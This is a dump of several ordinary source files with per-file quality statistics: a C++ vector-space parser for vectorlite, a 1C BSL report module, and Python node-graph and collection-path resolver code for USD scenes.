{"qsc_code_num_words": 107, "qsc_code_num_chars": 1482.0, "qsc_code_mean_word_length": 9.80373832, "qsc_code_frac_words_unique": 0.76635514, "qsc_code_frac_chars_top_2grams": 0.00571973, "qsc_code_frac_chars_top_3grams": 0.00762631, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00810015, "qsc_code_frac_chars_whitespace": 0.08367072, "qsc_code_size_file_byte": 1482.0, "qsc_code_num_lines": 37.0, "qsc_code_num_chars_line_max": 122.0, "qsc_code_num_chars_line_mean": 40.05405405, "qsc_code_frac_chars_alphabet": 0.76362297, "qsc_code_frac_chars_comments": 0.9291498, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1yefuwang1/vectorlite
vectorlite/vector_space.cpp
#include "vector_space.h" #include <hnswlib/hnswlib.h> #include <memory> #include <optional> #include <string_view> #include "absl/base/optimization.h" #include "absl/strings/numbers.h" #include "absl/strings/str_format.h" #include "distance.h" #include "macros.h" #include "re2/re2.h" #include "util.h" namespace vectorlite { std::optional<DistanceType> ParseDistanceType(std::string_view distance_type) { if (distance_type == "l2") { return DistanceType::L2; } else if (distance_type == "ip") { return DistanceType::InnerProduct; } else if (distance_type == "cosine") { return DistanceType::Cosine; } return std::nullopt; } std::optional<VectorType> ParseVectorType(std::string_view vector_type) { if (vector_type == "float32") { return VectorType::Float32; } if (vector_type == "bfloat16") { return VectorType::BFloat16; } return std::nullopt; } static std::unique_ptr<hnswlib::SpaceInterface<float>> CreateL2Space( size_t dim, VectorType vector_type) { switch (vector_type) { case VectorType::Float32: return std::make_unique<vectorlite::L2Space>(dim); case VectorType::BFloat16: return std::make_unique<vectorlite::L2SpaceBF16>(dim); default: // This should never happen, but we include it for completeness ABSL_UNREACHABLE(); return nullptr; } } static std::unique_ptr<hnswlib::SpaceInterface<float>> CreateInnerProductSpace( size_t dim, VectorType vector_type) { switch (vector_type) { case VectorType::Float32: return std::make_unique<vectorlite::InnerProductSpace>(dim); case VectorType::BFloat16: return std::make_unique<vectorlite::InnerProductSpaceBF16>(dim); default: // This should never happen, but we include it for completeness ABSL_UNREACHABLE(); return nullptr; } } absl::StatusOr<VectorSpace> VectorSpace::Create(size_t dim, DistanceType distance_type, VectorType vector_type) { if (dim == 0) { return absl::InvalidArgumentError("Dimension must be greater than 0"); } VectorSpace result; result.distance_type = distance_type; result.normalize = distance_type == DistanceType::Cosine; result.vector_type = vector_type; switch (distance_type) { case DistanceType::L2: result.space = CreateL2Space(dim, vector_type); break; case DistanceType::InnerProduct: result.space = CreateInnerProductSpace(dim, vector_type); break; case DistanceType::Cosine: result.space = CreateInnerProductSpace(dim, vector_type); break; default: std::string err_msg = absl::StrFormat("Invalid space type: %d", distance_type); return absl::InvalidArgumentError(err_msg); } return result; } absl::StatusOr<NamedVectorSpace> CreateNamedVectorSpace( size_t dim, DistanceType distance_type, std::string_view vector_name, VectorType vector_type) { auto result = VectorSpace::Create(dim, distance_type, vector_type); if (!result.ok()) { return result.status(); } NamedVectorSpace named_vector_space(std::move(*result)); named_vector_space.vector_name = vector_name; return named_vector_space; } absl::StatusOr<NamedVectorSpace> NamedVectorSpace::FromString( std::string_view space_str) { static const re2::RE2 reg( "^(?<vector_name>\\w+)\\s+(?<vector_type>\\w+)\\[(?<dim>\\d+)\\]\\s*(?<" "distance_type>\\w+)?\\s*$"); VECTORLITE_ASSERT(reg.ok()); std::string_view vector_name; std::string_view vector_type_str; size_t dim = 0; std::optional<std::string_view> distance_type_str; if (re2::RE2::FullMatch(space_str, reg, &vector_name, &vector_type_str, &dim, &distance_type_str)) { if (!IsValidColumnName(vector_name)) { std::string error = absl::StrFormat("Invalid vector name: %s", vector_name); return absl::InvalidArgumentError(error); } auto vector_type = ParseVectorType(vector_type_str); if (!vector_type) { std::string error = absl::StrFormat("Invalid vector type: %s", vector_type_str); return absl::InvalidArgumentError(error); } DistanceType distance_type = DistanceType::L2; if (distance_type_str) { auto maybe_distance_type = ParseDistanceType(*distance_type_str); if (!maybe_distance_type) { std::string error = absl::StrFormat("Invalid distance type: %s", *distance_type_str); return absl::InvalidArgumentError(error); } distance_type = *maybe_distance_type; } return CreateNamedVectorSpace(dim, distance_type, vector_name, *vector_type); } return absl::InvalidArgumentError("Unable to parse vector space"); } size_t VectorSpace::dimension() const { return *reinterpret_cast<size_t*>(space->get_dist_func_param()); } } // end namespace vectorlite
4,953
vector_space
cpp
en
cpp
code
{"qsc_code_num_words": 553, "qsc_code_num_chars": 4953.0, "qsc_code_mean_word_length": 5.88607595, "qsc_code_frac_words_unique": 0.20433996, "qsc_code_frac_chars_top_2grams": 0.0921659, "qsc_code_frac_chars_top_3grams": 0.02795699, "qsc_code_frac_chars_top_4grams": 0.02334869, "qsc_code_frac_chars_dupe_5grams": 0.34592934, "qsc_code_frac_chars_dupe_6grams": 0.30230415, "qsc_code_frac_chars_dupe_7grams": 0.24147465, "qsc_code_frac_chars_dupe_8grams": 0.14500768, "qsc_code_frac_chars_dupe_9grams": 0.14500768, "qsc_code_frac_chars_dupe_10grams": 0.11182796, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00931755, "qsc_code_frac_chars_whitespace": 0.19826368, "qsc_code_size_file_byte": 4953.0, "qsc_code_num_lines": 161.0, "qsc_code_num_chars_line_max": 80.0, "qsc_code_num_chars_line_mean": 30.76397516, "qsc_code_frac_chars_alphabet": 0.81037522, "qsc_code_frac_chars_comments": 0.03149606, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22058824, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.08149229, "qsc_code_frac_chars_long_word_length": 0.03459775, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.00735294, "qsc_codecpp_frac_lines_preprocessor_directives": 0.08823529, "qsc_codecpp_frac_lines_func_ratio": 0.02205882, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.13970588, "qsc_codecpp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ПраваДоступа/Ext/ManagerModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // СтандартныеПодсистемы.ВариантыОтчетов // Параметры: // Настройки - см. ВариантыОтчетовПереопределяемый.НастроитьВариантыОтчетов.Настройки. // НастройкиОтчета - см. ВариантыОтчетов.ОписаниеОтчета. // Процедура НастроитьВариантыОтчета(Настройки, НастройкиОтчета) Экспорт Если ОбщегоНазначения.ПодсистемаСуществует("СтандартныеПодсистемы.ВариантыОтчетов") Тогда МодульВариантыОтчетов = ОбщегоНазначения.ОбщийМодуль("ВариантыОтчетов"); Иначе Возврат; КонецЕсли; МодульВариантыОтчетов.УстановитьРежимВыводаВПанеляхОтчетов(Настройки, НастройкиОтчета, Ложь); НастройкиОтчета.ОпределитьНастройкиФормы = Истина; НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПраваДоступа"); НастройкиВарианта.Включен = Ложь; КонецПроцедуры // Конец СтандартныеПодсистемы.ВариантыОтчетов #КонецОбласти #КонецОбласти #КонецЕсли
1,521
ManagerModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 107, "qsc_code_num_chars": 1521.0, "qsc_code_mean_word_length": 10.1588785, "qsc_code_frac_words_unique": 0.70093458, "qsc_code_frac_chars_top_2grams": 0.08831647, "qsc_code_frac_chars_top_3grams": 0.00735971, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00790798, "qsc_code_frac_chars_whitespace": 0.08547009, "qsc_code_size_file_byte": 1521.0, "qsc_code_num_lines": 43.0, "qsc_code_num_chars_line_max": 105.0, "qsc_code_num_chars_line_mean": 35.37209302, "qsc_code_frac_chars_alphabet": 0.77282531, "qsc_code_frac_chars_comments": 0.93096647, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1xinghuan/usdNodeGraph
lib/python/usdNodeGraph/core/cel/core.py
import re COLLECTION_TYPE_NAME = 'Collection' def exclude(l1, l2): l = [i for i in l1 if i not in l2] return l def includeBoth(l1, l2): l = [i for i in l1 if i in l2] return l def _getAllPrimPaths(prim, paths): paths.append(prim.GetPath().pathString) for childPrim in prim.GetChildren(): _getAllPrimPaths(childPrim, paths) def resolveOneCELString(string, all, stage=None): paths = [] if '/' not in string and stage is not None: collectionPath = '/collection/{}'.format(string) prim = stage.GetPrimAtPath(collectionPath) if prim.IsValid() and prim.GetTypeName() == COLLECTION_TYPE_NAME: cels = [i for i in prim.GetAttribute('CEL').Get()] for cel in cels: paths.extend(resolveCELString(cel, all, stage)) elif '*' not in string and '//' not in string: paths.append(string) else: if string.startswith('//'): string = string.replace('//', '.*/') else: string = string.replace('*', '.*') string = string.replace('//', '/.*') pattern = re.compile(string) for i in all: if re.match(pattern, i): paths.append(i) return paths def resolveCELString(string, all=None, stage=None): if all is None and stage is not None: all = [] _getAllPrimPaths(stage.GetPrimAtPath('/'), all) def _resolveTempList(templ): result = [] currentOp = '+' for i in templ: if i in ['+', '-', '^']: currentOp = i else: if isinstance(i, list): currentPaths = _resolveTempList(i) else: currentPaths = resolveOneCELString(i, all, stage) if currentOp == '+': result.extend(currentPaths) elif currentOp == '-': result = exclude(result, currentPaths) elif currentOp == '^': result = includeBoth(result, currentPaths) return result l = [''] currentIndex = 0 for index, i in enumerate(string): if i == ' ': if l[currentIndex] != '': l.append('') currentIndex += 1 elif i in ['-', '+', '^']: if l[currentIndex] != '': l.append('') currentIndex += 1 l[currentIndex] += i l.append('') currentIndex += 1 else: l[currentIndex] += i string = str(l) while "'(" in string: string = string.replace("'(", "['") while ")'" in string: string = string.replace(")'", "']") tempList = eval(string) resolvedPaths = _resolveTempList(tempList) return resolvedPaths if __name__ == '__main__': s = '/root/world/cam_main' s = '/root/world/cam_main /root/world/cam_taco' s = '/root/world/cam_main + /root/world/cam_taco' s = '/root/world/cam_main - /root/world/cam_taco' s = '(/root/world/cam*-(/root/world/cam_main /root/world/cam_taco)) + (/root/world/lgt* - /root/world/lgt_rim)' s = '/root/world//*Mesh' s = '//Mesh' all = [ '/root/world/asset/group1/Mesh', '/root/world/asset/group1/aMesh', '/root/world/asset/group1/bMesh', '/root/world/cam1', '/root/world/cam2', '/root/world/cam_main', '/root/world/cam_taco', '/root/world/lgt1', '/root/world/lgt_rim', ] print(resolveCELString(s, all))
3,576
core
py
en
python
code
{"qsc_code_num_words": 382, "qsc_code_num_chars": 3576.0, "qsc_code_mean_word_length": 4.82460733, "qsc_code_frac_words_unique": 0.21989529, "qsc_code_frac_chars_top_2grams": 0.10743353, "qsc_code_frac_chars_top_3grams": 0.07813348, "qsc_code_frac_chars_top_4grams": 0.05208899, "qsc_code_frac_chars_dupe_5grams": 0.24145415, "qsc_code_frac_chars_dupe_6grams": 0.20781335, "qsc_code_frac_chars_dupe_7grams": 0.16169289, "qsc_code_frac_chars_dupe_8grams": 0.12371134, "qsc_code_frac_chars_dupe_9grams": 0.12371134, "qsc_code_frac_chars_dupe_10grams": 0.12371134, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00751566, "qsc_code_frac_chars_whitespace": 0.33025727, "qsc_code_size_file_byte": 3576.0, "qsc_code_num_lines": 129.0, "qsc_code_num_chars_line_max": 116.0, "qsc_code_num_chars_line_mean": 27.72093023, "qsc_code_frac_chars_alphabet": 0.76200418, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.17, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.01, "qsc_code_frac_chars_string_length": 0.1538892, "qsc_code_frac_chars_long_word_length": 0.04196978, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.06, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.01, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.12, "qsc_codepython_frac_lines_print": 0.01}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
1xinghuan/usdNodeGraph
lib/python/usdNodeGraph/core/node/primNode.py
from .usdNode import PrimDefineNode, Node class PrimDefineNode2(PrimDefineNode): def _initParameters(self): super(PrimDefineNode2, self)._initParameters() self.parameter('typeName').setVisible(False) def _execute(self, stage, prim): stage, newPrim = super(PrimDefineNode2, self)._execute(stage, prim) newPrim.SetMetadata('typeName', self.nodeType) return stage, newPrim class XformNode(PrimDefineNode2): nodeType = 'Xform' class ScopeNode(PrimDefineNode2): nodeType = 'Scope' class CubeNode(PrimDefineNode2): nodeType = 'Cube' class SphereNode(PrimDefineNode2): nodeType = 'Sphere' class CylinderNode(PrimDefineNode2): nodeType = 'Cylinder' class CapsuleNode(PrimDefineNode2): nodeType = 'Capsule' class ConeNode(PrimDefineNode2): nodeType = 'Cone' class MeshNode(PrimDefineNode2): nodeType = 'Mesh' class PointInstancerNode(PrimDefineNode2): nodeType = 'PointInstancer' class CameraNode(PrimDefineNode2): nodeType = 'Camera' class VolumeNode(PrimDefineNode2): nodeType = 'Volume' class OpenVDBAssetNode(PrimDefineNode2): nodeType = 'OpenVDBAsset' class LightNode(PrimDefineNode2): nodeType = 'Light' class DistantLightNode(PrimDefineNode2): nodeType = 'DistantLight' class DiskLightNode(PrimDefineNode2): nodeType = 'DiskLight' class RectLightNode(PrimDefineNode2): nodeType = 'RectLight' class SphereLightNode(PrimDefineNode2): nodeType = 'SphereLight' class CylinderLightNode(PrimDefineNode2): nodeType = 'CylinderLight' class GeometryLightNode(PrimDefineNode2): nodeType = 'GeometryLight' class DomeLightNode(PrimDefineNode2): nodeType = 'DomeLight' for node in [ XformNode, ScopeNode, CubeNode, SphereNode, CylinderNode, CapsuleNode, ConeNode, MeshNode, PointInstancerNode, CameraNode, VolumeNode, OpenVDBAssetNode, LightNode, DistantLightNode, DiskLightNode, RectLightNode, SphereLightNode, CylinderLightNode, GeometryLightNode, DomeLightNode, ]: Node.registerNode(node) Node.setParamDefault(node.nodeType, 'typeName', node.nodeType) Node.setParamDefault(node.nodeType, 'label', '/[value primName]')
2,274
primNode
py
en
python
code
{"qsc_code_num_words": 181, "qsc_code_num_chars": 2274.0, "qsc_code_mean_word_length": 9.00552486, "qsc_code_frac_words_unique": 0.38121547, "qsc_code_frac_chars_top_2grams": 0.28220859, "qsc_code_frac_chars_top_3grams": 0.02944785, "qsc_code_frac_chars_top_4grams": 0.03803681, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01245937, "qsc_code_frac_chars_whitespace": 0.1882146, "qsc_code_size_file_byte": 2274.0, "qsc_code_num_lines": 122.0, "qsc_code_num_chars_line_max": 76.0, "qsc_code_num_chars_line_mean": 18.63934426, "qsc_code_frac_chars_alphabet": 0.87053088, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.09150902, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.02702703, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.01351351, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.60810811, "qsc_codepython_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 1, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
1xinghuan/usdNodeGraph
lib/python/usdNodeGraph/core/node/customNode.py
# -*- coding: utf-8 -*- from .node import Node from .usdNode import UsdNode, MaterialAssignNode from ..cel.core import resolveCELString, COLLECTION_TYPE_NAME class CollectionCreateNode(UsdNode): nodeType = 'CollectionCreate' nodeGroup = 'Custom' fillNormalColor = (7, 100, 50) borderNormalColor = (220, 250, 150) def _initParameters(self): super(CollectionCreateNode, self)._initParameters() self.addParameter('collectionName', 'string', label='name', builtIn=True) self.addParameter('CEL', 'string[]', builtIn=True) def _execute(self, stage, prim): collectionName = self.parameter('collectionName').getValue() cel = self.parameter('CEL').getValue() if collectionName == '': return stage, prim prim = stage.DefinePrim('/collection/{}'.format(collectionName)) prim.SetMetadata('typeName', COLLECTION_TYPE_NAME) attribute = prim.CreateAttribute( 'CEL', self.parameter('CEL').valueTypeName ) attribute.Set(cel) return stage, prim class MaterialAssign2Node(MaterialAssignNode): nodeType = 'MaterialAssign2' nodeGroup = 'Custom' borderNormalColor = (220, 250, 150) _ignoreExecuteParamNames = ['CEL'] def _initParameters(self): super(MaterialAssign2Node, self)._initParameters() self.addParameter('CEL', 'string[]', builtIn=True) def _execute(self, stage, prim): cels = self.parameter('CEL').getValue() params = self.getExecuteParams() for cel in cels: for path in resolveCELString(cel, stage=stage): p = stage.GetPrimAtPath(path) if p.IsValid(): for param in params: self._setRelationshipOnPrim(p, param) return stage, prim Node.registerNode(CollectionCreateNode) Node.registerNode(MaterialAssign2Node)
1,930
customNode
py
en
python
code
{"qsc_code_num_words": 176, "qsc_code_num_chars": 1930.0, "qsc_code_mean_word_length": 6.98295455, "qsc_code_frac_words_unique": 0.38636364, "qsc_code_frac_chars_top_2grams": 0.03661513, "qsc_code_frac_chars_top_3grams": 0.03905614, "qsc_code_frac_chars_top_4grams": 0.04231082, "qsc_code_frac_chars_dupe_5grams": 0.09601302, "qsc_code_frac_chars_dupe_6grams": 0.09601302, "qsc_code_frac_chars_dupe_7grams": 0.09601302, "qsc_code_frac_chars_dupe_8grams": 0.09601302, "qsc_code_frac_chars_dupe_9grams": 0.09601302, "qsc_code_frac_chars_dupe_10grams": 0.09601302, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01986301, "qsc_code_frac_chars_whitespace": 0.24352332, "qsc_code_size_file_byte": 1930.0, "qsc_code_num_lines": 62.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 31.12903226, "qsc_code_frac_chars_alphabet": 0.82191781, "qsc_code_frac_chars_comments": 0.01088083, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.28888889, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07341374, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.08888889, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.06666667, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.44444444, "qsc_codepython_frac_lines_print": 0.0}
1
